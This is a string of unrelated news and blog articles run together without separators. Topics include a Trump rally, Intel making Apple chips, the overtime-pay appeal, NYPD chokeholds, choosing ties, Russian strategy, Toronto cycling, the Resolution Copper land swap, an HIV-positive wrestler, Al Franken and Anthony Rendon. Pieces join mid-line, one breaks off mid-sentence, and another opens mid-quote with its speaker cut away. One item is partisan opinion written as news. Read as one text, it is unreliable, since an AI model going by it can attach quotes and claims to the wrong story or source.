"If you take London, we've seen above-average supply growth in the past couple of years.
"This new supply [of hotel rooms] is now coming on stream," says Mr Broome, just at a time when demand is slowing.
"It could be a good time to get a bargain."POTUS Trump Says America Has Always Affirmed That Liberty Comes From “Our Creator” (VIDEO)
Washington D.C. – President Trump held a “Celebrate Freedom Rally” at the Kennedy Center Saturday, celebrating the great servicemen and women of America.
President Trump said in his speech, “Since the signing of the Declaration of Independence, America has always affirmed that liberty comes from our Creator”. Finally! A President unafraid to stand for veterans and God!
The President’s powerful speech is a positive message to military veterans and civilians alike. “Since the signing of the Declaration of Independence, America has always affirmed that liberty comes from our Creator,… no earthly force can ever take those rights away.”
Trump’s America is a nation that remembers where it came from and promises to uphold the values and principles that made it great in the first place. Boldly stating the Judaeo-Christian origins of American liberty instead of apologizing for them, as Obama did, is an honest affirmation of American greatness.
In contrast, Obama once compared Christians to ISIS, referencing the Crusades that occurred centuries ago as a RESPONSE to Islamic armies butchering their way across nations.
A change in attitude towards Christians and God in the White House is a big step in the right direction.
The Gateway Pundit previously reported on Trump’s “Celebrate Freedom Rally” speech earlier today:
Jerry Falwell Jr. Bashes Obama: Trump is Interested in Defending Liberties of Christians, Not Just Muslims Like Last President (VIDEO)
POTUS Trump Honors Battle of the Bulge Hero Harry Miller, Crowd Chants: “Harry! Harry!” (VIDEO)Intel and Apple, teaming up to make A-series chips for the iPhone and iPad? That’s what the rumors are saying, with a recent Reuters report going so far as to claim that executives from both companies have actually met to discuss the possibility of the x86 maker pumping out ARM chips custom designed by Apple!
“Intel Once Again Rumored To Be Working On iOS Device Chips With Apple,” read our headline this morning. But would Intel really cash in on its x86 heritage to make ARM chips? And if Apple did switch, would that really be a win for everyone?
The short answer? Yes, Intel would make ARM chips for Apple. But no, it probably wouldn’t be a win for either company. Here’s why.
Intel & ARM
First things first. Would Intel really make ARM chips for Apple instead of x86 chips? (For a decent explanation on the difference between the chips, read our previous article on why you’ll probably never own a MacBook with an ARM processor.)
Sure. While Intel is best known for doing x86 chips like the ones that power your Mac, they aren’t averse to doing other things. Intel started off back in 1968 making memory, and it was only in 1983 that the company started focussing on microprocessors. Heck, Intel’s even made ARM chips before: from 2002 until Intel sold the family to Marvell in 2006, the X86 giant made XScale chips with the ARMv5 architecture.
So Intel could easily start making ARM chips. But there’s a simple reason right now why they don’t: money.
“Intel is a business, and making other people’s chip designs for them just doesn’t make a lot of money,” says David Kanter, principal analyst and Editor-In-Chief at Real World Technologies, a technology analysis firm specializing in x86 and RISC microprocessors. Contract manufacturing isn’t a lucrative business compared to making chips you intend to sell yourself.
Making other people’s chip designs for them just doesn’t make a lot of money.
Right now in the ARM space, companies are paying a lot less per wafer — a thin layer of raw semiconducting material from which full thousands of microchips are carved, etched and finished — than Intel can make turning that same wafer into the laptop and desktop processors it sells itself. Intel might make up to $100,000 on a wafer it turns into x86 chips, compared to just $10,000 it made for someone else, says Kanter.
So from a financial perspective, making ARM chips for a company like Apple doesn’t necessarily make a lot of sense, except in one situation.
Advantages For Intel
Chips are made in giant semiconductor fabrication plants called fabs. Intel’s got the most advanced fabs in the business, producing chips that are using technology literally one to two years ahead of what other chip makers like Samsung, TSMC and Global Foundries can make.
These fabs, though, are expensive to set up, and expensive to keep running. If a fab isn’t producing every nanometer of silicon it can at every second of the day, it ends up costing the company money.
So if Intel has fabs that aren’t outputting as many wafers as they could because there’s not enough x86 demand out there, it might make sense for Intel to accept lower revenue per wafer for a client like Apple.
There’d be another possible advantage to Intel for doing this too.
Intel’s fabrication tech is a year or two ahead of everyone else.
Intel’s fabrication tech is a year or two ahead of everyone else out there, which means Intel can make chips that are smaller, faster and have lower-power usage than everyone else, at least in theory. But companies like TSMC and Samsung are catching up, as clients like Apple pressure them (and spend billions of dollars for them) to constantly improve their technology.
So if Intel could take away an extremely demanding and high-ordering client like Apple from Samsung or TSMC, their fabs might shrivel up, and Intel could increase it’s technological lead over them.
What about Apple’s incentives, though? Why would they want to take their chip manufacturing to Intel?
Advantages For Apple
The obvious answer is Samsung.
Right now, the bulk of Apple’s chips come from Samsung, Cupertino’s biggest competitor in the mobile market. That gives Samsung a number of advantages in being able to predict what Apple is going to be doing next… and maneuvering their own mobile business to head Apple off.
It’s always awkward when your foundry is a direct competitor.”
“It’s always awkward when your foundry is a direct competitor,” says Kanter. A foundry is a fab that makes other company’s chip designs.
But Intel isn’t a direct competitor in the mobile space. Intel is never going to release a smartphone, or a tablet. And their chipmaking technology is light years ahead of everyone else’s, which would technically allow Apple to release A-series chips that were literally years ahead of anything Samsung could produce in speed and power-usage.
Sounds like a match made in heaven, doesn’t it? Apple switches to Intel, makes fantastic ARM chips that no other manufacturer can even touch, and Intel gets to stick it to its competitor and get a foot into the mobile space.
Well… not so fast.
Why An Intel/Apple iDevice Alliance Is Probably A Bad Idea
While an Apple/Intel iPhone alliance seems rosy on the surface, there are actually significant reasons why neither company would be eager to forge one right now.
As we’ve already mentioned, from Intel’s perspective, making ARM chips for Apple would make them a lot less money than using those same fabs to make x86 chips they could then sell to gadget makers themselves.
“Foundries just don’t make a lot of money,” says Kanter. “This is a much lower margin product.”
Even worse, if Intel started making ARM chips for Apple, it would be signalling that they had given up on pushing x86 in mobile. And since mobile is the future of computing, and x86 processors Intel can sell to gadget makers makes them far more money than making ARM chips for Apple… well, you do the math. Intel would be trading in the possibility of an extremely lucrative future for a much less lucrative present.
And what about Apple?
The major reason Apple would be unwilling to go into bed with Intel making A-series chips is that it would give Intel way too much power over Cupertino.
Right now, Intel provides all of the processors for the Mac side of Apple’s business. Even if Apple and Intel had a falling out, it would be almost impossible for Apple to take its business elsewhere at this point: Intel’s chips are simply that much better than everyone else’s. The entire experience of using a Mac would notably degrade.
If Intel started making iPhone chips for Apple, it would give Intel total control over Apple’s product destiny.
If Intel started making chips for Apple on the iPhone or iPad side of things, it would be great from a technical perspective. But it would give Intel total control over Apple’s destiny.
“Once you switch to Intel, you’re locked in. You can’t go anywhere else, because no one is up to Intel’s standard,” says Kanter.
Conclusion
So imagine this, because Apple would imagine it. Intel and Apple come to an agreement where Intel starts making their ARM-based, A-series chips. Intel being Intel, they make chips for Apple that just blow every other ARM-based smartphone or tablet out of the water.
But five years down the line, Intel comes to Apple and says, “Hey, we’re not going to make ARM chips for you anymore at $10,000 a wafer. Instead, the only thing we’ll agree to is selling you x86 chips at a much higher cost.”
What’s Apple going to do then? They have no negotiating position: Intel powers every product they make.
“Apple’s ideal relationship with a supplier is that the supplier holds a handrail and gets ready for a ride,” explains Kanter. “Intel has been very flexible working with Apple so far, and it has made them a less obnoxious company. But Intel also has a history of dictating terms to its customers. If everything runs off of Intel, that’s too much of a risk.”
So sure, Intel and Apple are willing to talk about teaming up to make A-series chips, but ultimately, it’s a bad proposition for both of them.
“Never say never, but there’s probably not a high probability of it happening,” says Kanter.
Many thanks to David Kanter of Real World Tech for help researching this article!Obama Administration Appeals Judge's Ruling To Block Overtime Pay Rule
Enlarge this image toggle caption Ben Margot/AP Ben Margot/AP
The Obama administration is challenging a federal judge's decision last month to block the implementation of a new rule that would have made 4 million more Americans eligible for overtime pay.
The Department of Labor and its co-defendants filed a notice of appeal at the U.S. District Court for the Eastern District of Texas on Thursday, the same day that the rule was set to take effect before the temporary injunction was issued.
"The Labor Department's sweeping overhaul to the overtime rule required employers to pay time-and-a-half to their employees who worked more than 40 hours in a given week and earned less than $47,476 a year," The Two-Way reported. "That salary threshold is about twice what currently allows workers to be exempted from overtime."
Twenty-one states and several industry group sued to block the rule, and U.S. District Judge Amos Mazzant III issued a preliminary injunction on Nov. 22.
Supporters of the new rule said it was necessary to keep up with inflation and helped low-income workers in a concrete way. As we've reported, the judge's ruling sided with "plaintiffs who said the new overtime rules would have caused an uptick in government costs in their states and made it mandatory for businesses to pay millions in additional salaries."
NPR's Scott Horsley quoted White House spokesman Josh Earnest as saying the Obama administration isn't giving up:
"That injunction was granted to some large businesses and Republican governors who had colluded to try to disrupt the implementation of this rule. And essentially continue to take advantage of more than 4 million of the hardest-working Americans."
The future of the rule is extremely uncertain. Even if the Obama administration wins its appeal, the incoming Trump administration has already threatened to scrap the measure.NEW YORK (Reuters) - A new inspector general blasted the New York City Police Department on Monday for failing to punish officers who used banned chokeholds on citizens, sometimes as a first response in a confrontation.
African-American Congressional staffers and representatives stage a walk out with a "Hands Up, Don't Shoot" pose on the steps of the House of Representatives at the U.S. Capitol to protest the deaths of Michael Brown and Eric Garner, in Washington December 11, 2014. REUTERS/Gary Cameron
The first official report by police Inspector General Philip Eure comes a month after New York was shaken first by a grand jury’s decision not to indict an NYPD officer in the chokehold death of Eric Garner and then by the killing of two NYPD officers by a gunman avenging the Staten Island man’s death.
It looked at 10 recent cases in which the NYPD’s Civilian Complaint Review Board (CCRB), an independent agency tasked with investigating excessive force claims, concluded officers used chokeholds, which are banned by Police Department regulations. The cases were investigated between 2009 and July 2014 and do not include Garner’s death on July 17, 2014.
Among the 10 cases was a Bronx high school student who was walking away from school officials disciplining her on Jan. 8, 2008, and was placed in a chokehold by a police officer assigned to the building, the report said.
Another was a man “rapping” with friends in front of a city low-income housing building in Brooklyn on Aug. 26, 2009, who made a comment to passing police officers and was placed in a headlock that restricted his breathing, the report said.
In nearly all cases studied, the CCRB recommended the most serious level of discipline, administrative charges, but ultimately none of the cases resulted in the charges being filed. Instead, the NYPD imposed punishments typically ranging from Police Academy training to loss of vacation days to no discipline at all.
“NYPD largely rejected CCRB’s findings and recommendations and, thus, mooted CCRB’s role in the process,” the report said.
“The police commissioner routinely rejected CCRB’s disciplinary recommendations in substantiated chokehold cases without explanation,” it said.
Harsh criticism was leveled at officers who, in several of the cases studied, used chokeholds “as a first act of physical force in response to verbal resistance, as opposed to first attempting to defuse the situation.”
Mayor Bill de Blasio, accused of contributing to an anti-police climate, said the report predates his coming to office a year ago.
“I believe it refers to things that have already begun to change,” de Blasio said.
The president of the Patrolmen’s Benevolent Association police union, Patrick Lynch, who blamed de Blasio for tensions with police, noted the report promised a wider investigation in the future to determine whether the problem is systemic.
Until then, Lynch said in a statement, the initial findings should only be viewed as 10 isolated cases that reveal “the dysfunction and anti-police bias that is rampant in the investigations conducted by the CCRB.”The tie gets a bad rep. It’s associated with board rooms and formality and the type of office job that requires navigating a dull grey labyrinth of cubicles. There’s a reason that the phrase “loosening one’s tie” exists, and why it’s shorthand for relaxing and having a good time. Ties are symbolic of all that is inherently stuffy and snooty.
For what it’s worth, I think all of that is patently ridiculous. Everyone from Groucho Marx to Aziz Ansari regularly donned ties at no cost to their sense of levity—if anything, it made them seem even sharper—and there’s no reason they can’t be a way to show off a little irreverence and, fuck it, “pizzaz.” The real problem with ties is that, with all of their symbolic formality, many people just don’t know how to choose and wear them. Often, they can feel like an afterthought—or, worse, an overthought—that will not only make you look awkward, but maybe even a little square.
It doesn’t have to be that way! There’s a way to wear ties regularly and still project a sense of fun and lightness, or even just get you through a fancy event with some flair. Here’s how to do it.
The Basics
The biggest hurdle to adopting the tie lifestyle is often, understandably, the price tag, but there are solutions. If you’re the kind of person who wants a variety of different ties for every conceivable occasion—weddings, high school musicals, a relaxed Saturday game of horseshoes—you’ll want to get a bunch of them, and for that, I’ll direct you to The Tie Bar. The majority of their ties run around $19.99, and, as long as you take care of them, they’re surprisingly durable. They’ve also got an impressive array of patterns and colors. The bargain shopper will also want to consult Penguin, Ben Sherman and, believe it or not, the J. Crew Factory Outlet. If your wallet is a little fatter, Gant Rugger are consistently crushing the menswear game, and is the one place I frequently window-shop and sigh longingly. If you’re just looking for essentials, a navy-blue solid, one wool, one bright pattern (preferably in linen), and one knit are the staples to get you started.
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Coordinating Ties By Season
Like basically any other piece of clothing, what you wear around your neck is going to vary from season to season. The good thing is, the way it changes is pretty much in line with the way all of your clothes change. So, in the same way you wouldn’t wear a goose-down parka in the middle of July, you’re not going to wrap a thick piece of wool around your neck in the summer, either. A quick breakdown:
Spring/Summer. In short, it’s a binary equation. In the spring and summer, when the sun is out, you want lightness: Linens, cottons, and even silks are the ways to go. Color-wise, the same rules apply: Light blues, light yellows, pinks, lavenders, florals, and light plaids say, “Hello, I may be wearing a tie, but I also enjoy warm weather. Can you please hand me one of those frosty beverages?” Or something like that. Also, small patterns work: Little anchors (because summer, boats, etc.), birds, and tiny stars all have the kind of playfulness and laid-back attitude that go great with the season.
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Winter: This season, because it is terrible, requires a lot more insulation. Wools and knits are your go-to’s here, as are darker colors and denser patterns. Think greys, dark blues, browns, big/blocky plaids, and larger patterns. Unless you’re going to a formal event, try to stay away from a solid black tie—they tend to be too severe against nearly any color shirt you wear. It’s the kind of tie that’s supposed to go with everything, but really goes with nothing. If you’re going for a black tie, you’ll want to soften it in some way—make it a black knit with horizontal white stripes, or a black-and-grey plaid—or better yet, opt for dark blue, which conveys the same effect, but doesn’t feel as brutal. You can use stripes to break up the numbing monotony of winter’s darker colors: Thick, diagonal stripes on a solid background are a good way to do that.
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Fall: Here, your best bet is the full College English Professor, heavy on plaids, browns, oranges, olives, rust, and light grey. If you look at yourself in the mirror and suddenly feel like having a glass of bourbon, you’re probably on the right track. You can go a little brighter than you would in winter, but don’t get carried away. If you’re wearing a plaid tie, and one of the colors in that tie is bright orange, it’s best to make sure the other colors are browns or deep greens to mute the effect.
Types of Ties
Fashion over the last few years has generally favored the narrow tie, and I’m inclined to agree with the trend. Wider ties tend to make you look like Uncle Morty at the baby’s first birthday party after one too many Michelobs, especially if you have a bit of a belly. A skinny tie paired with a fitted blazer gives the effect of a series of sharp, clean lines and is a no-lose proposition. If you want to be daring, you can venture into the land of the bow tie, but this, I must confess, is something I haven’t figured out how to effectively pull off. The safest options there? Spring lawn parties or formal events, with a bright, splashy one for the former and a dark, reserved one for the latter.
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Finding The Right Tie For Your Shirt
There are two levels to successful tie-sporting. The first is easy: Opposites attract. Pairing a solid shirt with a solid tie generally telegraphs to everyone who sees you that you’re a tie novice. It’s obviously not the end of the world, but solid shirts should be your blank canvas that allow you to wear slightly louder, more interesting ties. For maximum effect, a solid shirt should be combined with a patterned tie.
In general, the tie’s overall color scheme should contrast with the shirt in some way. If you wanted to get really scientific about it, you’d Google the color wheel and try to make sure your shirt and tie combination are opposite each other. To keep it simple, just employ a simple rule of hot and cold (again with the opposites). Blues, greens, and purples are all “cold” colors, while reds, oranges, and yellows are all “hot.” Try to keep your shirt on one end of the scale and your tie on the other. Ideally, the color of your tie will be somewhat darker than the color of your shirt; wearing a dark shirt with a bright tie is going to make you look like a Lite Brite.
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If you’re going for a more outrageous pattern in your tie, you’re going to want to ground it in some way. What you’re looking for here are “anchor colors.” So if you’re wearing a standard light blue shirt, it’s generally a good idea to make sure that color shows up somewhere in the patterned tie you’re putting on. So a light-blue shirt with a bold plaid tie that has a trace amount of light blue with some yellow and pink is a home run.
Under no circumstances should you wear a tie that matches the color of your shirt, or a tie that’s only a slightly different shade of your shirt color. We all quietly endured the Regis Millionaire years, and let us never speak of them again.
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Pattern Clashing (For The More Adventurous)
If you’ve gotten this far, there’s only one more place to go: patterns on patterns. Fuck received wisdom: There is an effective, eye-catching way to clash your shirts and ties, and it’s all about knowing colors and proportions. Once again, think in opposites. If your shirt has a small pattern—small gingham, small flowers, small peace signs (although I hope to God you don’t own a shirt with small peace signs on it)—you want the pattern in your tie to be big and blocky. Go for big horizontal stripes, or big diagonal stripes all generally going in a direction that’s not in line with the direction of the pattern of the shirt. (If you’re wearing that hideous all-over peace-sign monstrosity, this is one place you’re in the clear, since they’re likely not arranged in a certain direction, except the direction of universal love or something.)
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I’d avoid a plaid tie on a checkered shirt, but it can be done — just make sure the plaids on one of them are oversized, and the plaids on the other are small. And again, anchor colors: If you can find a trace color that’s in both the shirt and tie in a small amount, that’s going to lessen the optic disarray of your clash. A shirt with thin vertical stripes gets big horizontal stripes—always—or plaids. The reverse is true: A big, blocky plaid shirt gets a tie with a tiny design, like a super-taut gingham or tiny polka-dots.
Like everything, there are exceptions to all of these rules. As I write this, I’m wearing a pale blue shirt with a dark blue tie, which is normally a “no,” but the tie has bold green stripes in it, which lessens the effect. So, the TL;DR version? Opposites always, in both patterns and colors. Hots go with colds, and burn that peace-sign shirt. I shudder to think of the event where it might be appropriate.
J. Edward Keyes is a Brooklyn-based writer and editor. He owns over sixty ties, because he is a maniac. Follow him on Twitter @keyescore.
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Image by Tara Jacoby.
Adequate Man is Deadspin’s new self-improvement blog, dedicated to making you just good enough at everything. Suggestions for future topics are welcome below.Russian Deputy Security Council Secretary Evgeny Lukyanov said that Moscow will give special attention to the strategic partnership with China and India.
MOSCOW (Sputnik) – Russia will continue to develop its strategic partnerships with China and India, as well as the Asian-Pacific region, Latin America and Africa, the Russian Security Council said Monday.
“Russia will fulfill the tasks outlined in the [Russian National Security] Strategy within the framework of bilateral relations, among which special attention will be given to the strategic partnership with China and India. Great meaning will also be given to developing strong relations with the countries of the Asia-Pacific region, Latin America, Africa, and other appropriate regional unions,” Russian Deputy Security Council Secretary Evgeny Lukyanov was quoted as saying in a press release.
© AFP 2018 / ALEXANDER NEMENOV Russia to Maintain Level of Nuclear Restraint for National Interests
Moscow has stepped up its cooperation with BRICS countries and other developing states in light of strained relations with the West over the Ukrainian conflict.
In 2014, the European Union, the United States and their allies imposed a series of individual and economic sanctions against Russian nationals and key spheres of the country's economy accusing Moscow of meddling in Ukraine internal affairs and escalating a military crisis in the country.
Russia has denied playing any role in the armed conflict in eastern Ukraine, warning that the Western sanctions are counterproductive. In response, in August 2014 Russia announced a one-year food embargo on products originating in states that imposed sanctions. The ban has since been extended for another year.Candice Anderson has been hit by a car three times in Toronto, all of them while riding a bicycle.
When Toronto Mayor Rob Ford became mayor, the inauguration ceremony performed by Don Cherry specifically addressed cyclists in the least complimentary way imaginable.
Since then, two-wheeled transportation in Toronto has been a back-burner project for the city. Candice is hoping that changes.
And what better way to change it than to get the mayor on a bike, even if only for a day?
“If Mayor Ford had some personal experience with cycling maybe he’d be more compassionate to the cause and realize how great it is,” she said.
Candice is hosting the challenge on her personal website, but is also launching a poster campaign around the city this weekend. She’s also set up a Twitter account and a Facebook page all with the goal of getting Rob Ford to ride a bicycle one day this summer.
“He’d also have a chance to understand how scary and dangerous it can be to ride and how important bike infrastructure is.”
Candice is not associated with any of Toronto’s main cycling advocacy groups.
She’s hoping that if the mayor’s office does get in touch, it will be an easy commitment for him to work into his schedule and would send an important message to the city’s cyclist commuters.
“Ideally I’d like to work with his schedule to design a cycling route for his downtown meetings,” she said. “I don’t expect him to bike from Etobicoke.”
“If that’s not possible then I’m going to suggest he take a spin from Queen’s Park to City Hall – south (downhill!) on University with two left turns.”
That route is almost exactly 2km, or about a ten minute bike ride.
Despite the Toronto mayor’s resistance to cycling, Candice is holding hope that he might give this a try.
“He is a ‘hands-on’ type of guy as demonstrated with his involvement in football and I also think he’s good natured (he did give the nutrition challenge a try!) so I wouldn’t be all that surprised if he says yes,” she said.
Even if Ford declines, though, Candice hopes the campaign encourages the rest of city council to support cycling infrastructure.
“People will ride when they feel safe in doing so and while transit is incredibly important, building bike lanes is much easier and cheaper than a subway. Supporting cyclists just makes sense,” she added.
Don’t forget to re-live this moment from Rob Ford’s inauguration, when Don Cherry shared his opinion on Toronto cyclists.Karen Berger helped change the course of comic books. As an editor at DC Comics, she was instrumental in the development of Alan Moore’s Swamp Thing and Neil Gaiman’s The Sandman, two titles that showed off superhero comics’ potential for more sophisticated, provocative storytelling. In 1993, she founded the DC Comics imprint Vertigo Comics, publisher of titles like Fables, The Invisibles, 100 Bullets, and Preacher, and Y: The Last Man, which all did especially well in bookstores and libraries and helped popularize the graphic novel format. Berger’s time in superhero comics gave her an understanding of the medium’s popular appeal, and over the course of her career, she’s successfully brought creators with distinct and experimental artistic sensibilities to a wider audience.
The 2012 announcement that Berger was stepping down from her executive editor role at |
, while others tend to think more about today and the promise of jobs, but not necessarily what our creator God gave to us,” he said.
He is particularly worried about the longterm impact. The company intends to use a variety of “block cave” mining that digs underneath the ore and causes it to collapse from its own weight. Resolution Copper describes the process in a video:
The land above such mines eventually cracks and subsides.
“What those mountains mean to us is that when the rain and the snow comes, it distributes it to us,” Rambler said. “It replenishes our aquifers to give us life.” He’s not sure how that will happen once the land starts subsiding. Resolution Copper promises to monitor it.
In comments to The Huffington Post on Tuesday, spokespeople for the mine said that it had filed an operating plan with the federal Forest Service and was starting a review under the National Environmental Policy Act, which is supposed to ensure that federal lands are protected.
But Rambler found little assurance in that, since NEPA only applies while the land belongs to the federal government.
“This is what will happen -- the law in one area says there will be consultation, but the law in another area of the bill says the land exchange will happen within one year of enactment of this bill,” Rambler noted, correctly. “So no matter what we’re doing within that one year, the consultation part won’t mean anything after one year. Because then it’s really theirs after that.”
Two properties within the land would remain in the hands of the federal government, one around the Apache Leap and one an area called Oak Flats. Outside of those places, the federal government would have no say under NEPA, an official with the Bureau of Land Management said.
“We would only have to do NEPA on any activity that would take place on remaining federal land,” said Arizona BLM official Carrie Templin. The company promises to stop 1,500 feet short of Apache Leap, but reserves the right to drill in Oak Flats.
The Arizona exchange is not the only land measure in the defense bill.
In fact, there are dozens of other land-related items, including at least one more that is angering Native Americans. A transfer of 1,600 acres from the Hanford Nuclear Reservation in Washington State for industrial development has also sparked protest by tribes, who note that the area also contains lands important to them, and which are already undergoing various federal evaluations that would be short-circuited by the legislation.
Still another deal would benefit a Native American corporation in Alaska called Sealaska. It is opposed by environmental groups, though, because it would open some 70,000 acres of the Tongass National Forest to logging.
Environmental groups approve of some of the deals in the bill, but those have been attracting anger on the right. Two leaders of the Heritage Foundation campaign arm described them in an op-ed as a "land grab" that had no place in a defense bill. Another, Myron Ebell, director of the Center for Energy and Environment, also slammed it in a statement.
“The federal lands package added to the National Defense Authorization Act is a backroom deal that would lock up use of hundreds of thousands of acres of land,” said Ebell, although it is likely he would favor the part of the Rio Tinto deal that allows mining since he favors using federal land for resources. “Many of these federal land lockups could never be enacted on their own if debated and voted in the light of day."
Sen. Tom Coburn (R-Okla.) also doesn't think the land bills belong in the defense measure, and has vowed to stall the bill as long as possible until they are removed.
The bill is expected to be voted on in the House as soon as this week, and sent to the Senate in a manner that does not allow it to be amended. If anything is to change in the bill, it would have to happen before then, and House leaders would have to agree to allow amendment votes.
UPDATE: 11:15 p.m. -- Rep. Tom Cole (R-Okla.) tried Wednesday night to offer an amendment to remove the Resolution Copper deal from the defense bill, but lost in the House Rules Committee on a 6-4 vote, with three Democrats supporting him, and his GOP colleagues voting against him. The Rules Committee determines how measures will be considered on the floor. It decided to give the NDAA one hour of debate, with no vote on Cole's amendment.If you thought the story about Abdullah the Butcher allegedly passing Hepatitis C to other wrestlers was bad, meet Andre Davis. Davis is an Ohio area independent pro wrestler who is HIV positive. Davis has been wrestling bloody matches and many of his former opponents are currently undergoing tests.
The story broke when Andre Davis was charged with second-degree felonious assault today. Davis is alleged to have had unprotected relations with women that weren’t aware of his disease. The charge stems from one person in particular, but a report says that there may be more victims.
The story gets scarier when it comes to Davis’ pro wrestling career. Davis, who wrestles as Andre Heart found out he was HIV positive in 2009 yet continued wrestling through 2010. Dave Meltzer reports that Davis was hired as a referee by the WWE. The WWE at some point withdrew their offer, likely because his tests came back HIV positive. Meltzer also reports that Davis was wrestling bloody matches during that time period. At least five area wrestlers are currently being tested.
Also in Meltzer’s report, “Area referee Brandon Tolle noted that at least five area wrestlers are being tested because they worked bloody matches with him, and Tolle refereed bloody matches with him.”
How ironic that this story comes just several weeks after a documentary accuses Abdullah the Butcher of carrying Hepatitis C and passing it to other wrestlers through matches. I received a lot of reaction to the story, most sickened if the allegations were true. Needless to say the pro wrestling world has to be in complete disarray with this story.
I think this is a big wakeup call for independent pro wrestlers. Quite honestly I am surprised that a story like this hasn’t been reported before. Here is the thing about independent pro wrestling, or should I say just about every wrestling company other than the WWE in America. These companies don’t test anyone, yet there are hundreds if not thousands of matches involving blood every year on the independent pro wrestling scene. At this point you would have to be a fool to get cut or allow your opponent to bleed in a wrestling match in 2011 without prior testing.
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Hardcore pro wrestling grew big time on the indy wrestling scene when ECW closed in 2001. Independent promoters took the concept and bastardized it to the point where fans can watch a guy bleed buckets in 2011 and not think anything of it. It would be unfair to lump just independent pro wrestling companies. Blood has been a big part of pro wrestling for the last forty years. How many guys bled buckets throughout the 70s and early 80s on the territories that were never tested for any diseases? The fact that it took until 2011 for these kinds of stories to be reported is almost unfathomable.
I think it is time for independent pro wrestlers to wake up, band together, and refuse to participate in anymore of these bloodbaths. Some wrestling promoters will stop but most will continue as hardcore wrestling is still a viable product to a small crowd of wrestling fans. A $150 payday and the adoration of 350 people that won’t be around to pay your medical bills after the show is over isn’t worth the risks associated with such a match. The WWE does testing and unless the independent promoters or state athletic commissions start to do the same, it is time to put a moratorium on bloody hardcore pro wrestling matches.
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Eric G. Eric is the owner and editor-in-chief of the Camel Clutch Blog. Eric has worked in the pro wrestling industry since 1995 as a ring announcer in ECW and a commentator/host on television, PPV, and home video. Eric also hosted Pro Wrestling Radio on terrestrial radio from 1998-2009. Check out some of Eric's work on his IMDB bio and Wikipedia. Eric has an MBA from Temple University's Fox School of Business. More Posts - Website Follow Me:WASHINGTON (JTA) — (JTA) — Sen. Bernie Sanders and Sen. Chuck Schumer said their colleague Al Franken’s announcement scheduled for Thursday should include his resignation following accusations of sexual harassment from more than a half dozen women.
“Sen. Franken has said that he will be making an announcement about his political future tomorrow. The right thing is for him to resign,” Sanders, I-Vt., who ran for president as a Democrat in the 2016 elections, said in a statement issued Wednesday afternoon.
“We are now at a crossroads in American culture. And it is an important one. The way we treat women in our country has been abysmal in almost every way. We are finally addressing the issue of sexual harassment, and we need to get it right.”
Schumer, D-N.Y., the minority leader, told the New York Times in a statement that “I consider Senator Franken a dear friend and greatly respect his accomplishments, but he has a higher obligation to his constituents and the Senate, and he should step down immediately.”
Franken on Twitter said a Minnesota Public Radio report that was set to resign on Wednesday was premature. He said he was still consulting with his family.
At least 22 Democratic senators, many of them women, have called on Franken, a Minnesota Democrat, to resign as of Wednesday afternoon.
Sens. Ron Wyden of Oregon and Dianne Feinstein of California also said Wednesday on Twitter that resignation was the “right thing” for Franken. Both are Jewish, as are Schumer, Franken and Sanders.
Following the calls for his resignation after another woman came forward on Wednesday to accuse him of sexual harassment, Franken’s office said he would make an “announcement” on Thursday. The office did not say what the nature of the announcement would be.
Seven women have come forward to accuse Franken of touching them inappropriately during photo opportunities and campaign events. The accusations date from between 2003 and 2010.
The latest accusation, reported Wednesday morning on Politico, comes from an unnamed former Democratic congressional aide who said Franken tried to forcibly kiss her after a taping of his radio show in 2006, three years before he became a U.S. senator.
Franken, a former “Saturday Night Live” performer, has joined leaders of both parties in the Senate in asking for an ethics investigation against him. The Senate Ethics Committee on Thursday opened a preliminary investigation into the accusations against Franken.Behind the pearly white smile, quick swing and flashy defense at third base, Anthony Rendon is reserved. His interests include hanging out with family, golfing, watching the Houston Rockets and sleeping. He shuns attention and is often terse in interviews. But Rendon will try to come out of his shell this season for a worthy cause.
At the urging of former Nationals shortstop Ian Desmond, Rendon will join the board of the Nationals Youth Baseball Academy and become the lead player spokesman for the team’s charitable arm. And in doing so, the 25-year-old will find himself in the spotlight more than ever because helping inner-city kids means so much to him.
“I’m slowly trying to get out of my comfort zone,” Rendon said, sitting in the dugout at Space Coast Stadium after a morning workout. “That’s the hardest part, getting out of my comfort zone and doing more in the public, for the kids or for the team. That’s not the type of person I am. I’m trying to mature and work on that. And understand that, if I want to do something and put my mind to it, there’s going to be other variables that come with it. I’ve got to learn how to handle it and do it.”
[Anthony Rendon hopes to bounce back in 2016]
When the Nationals drafted Rendon with the sixth overall pick in 2011 out of Rice University, they knew his standout talent could land him in the majors quickly. He played 57 minor league games before his big league debut April 21, 2013. He had to grow up quickly.
1 of 13 Full Screen Autoplay Close Skip Ad × New faces in familiar places View Photos The Washington Nationals welcome a new manager, new coaches and new players to spring training in Viera, Fla. Caption The Washington Nationals welcome a new manager, new coaches and new players to spring training in Viera, Fla. Pitching coach Mike Maddux, left, and Manager Dusty Baker have spent a lot of time together in the first week of training camp. John McDonnell/The Washington Post Buy Photo Wait 1 second to continue.
“I know a lot of times fans get frustrated with the fact that he’s often smiley or doesn’t give serious answers in the media and jokes around a little bit,” said Desmond, now with the Texas Rangers. “But he’s very passionate about his job, even though he doesn’t let it on all the time. He’s trying to leave a bigger mark than just batting average and Gold Gloves and all that.”
In Desmond, Rendon had a role model he admired for how he carried himself on and off the field. Rendon noticed Desmond sneaking out of the clubhouse after pregame batting practice to speak to academy kids visiting Nationals Park.
Desmond, a board member since the academy opened in 2014, began inviting Rendon to come, too. He knew his time as a National was likely coming to an end and remembered that Rendon did offseason charity work in his home town of Houston.
“I always saw the way he interacted with the kids that would run onto the field or just around,” Desmond said. “Without having kids, he’s very comfortable around kids. He knows how to speak to them and understands how to get on their level. I know he’s got a big heart for that, and I know where his heart is at. That’s what that academy needs.”
So in a late-season meeting, the two met with academy Executive Director Tal Alter so that Desmond could begin laying the groundwork to pass the torch to Rendon. Desmond’s faith in him motivated Rendon to take on the responsibilities.
“Seeing how the kids react to you is pretty awesome,” Rendon said. “Not necessarily that they’re star struck, but they’re shy. They’re kids. They don’t know how to act to a new person. I know that feeling because I was there not too long ago. Sometimes I still feel like that with the guys you play with and growing up watched and now play with.”
Rendon met with Alter recently in Viera to finalize plans for this season. Desmond will remain a board member emeritus; Rendon will replace him as the academy’s go-to player representative. He will be involved with the board’s decisions and direction. He will host groups of players and their families at least monthly at Nationals Park. He also hopes to make regular visits to the academy to work individually with kids who need special attention.
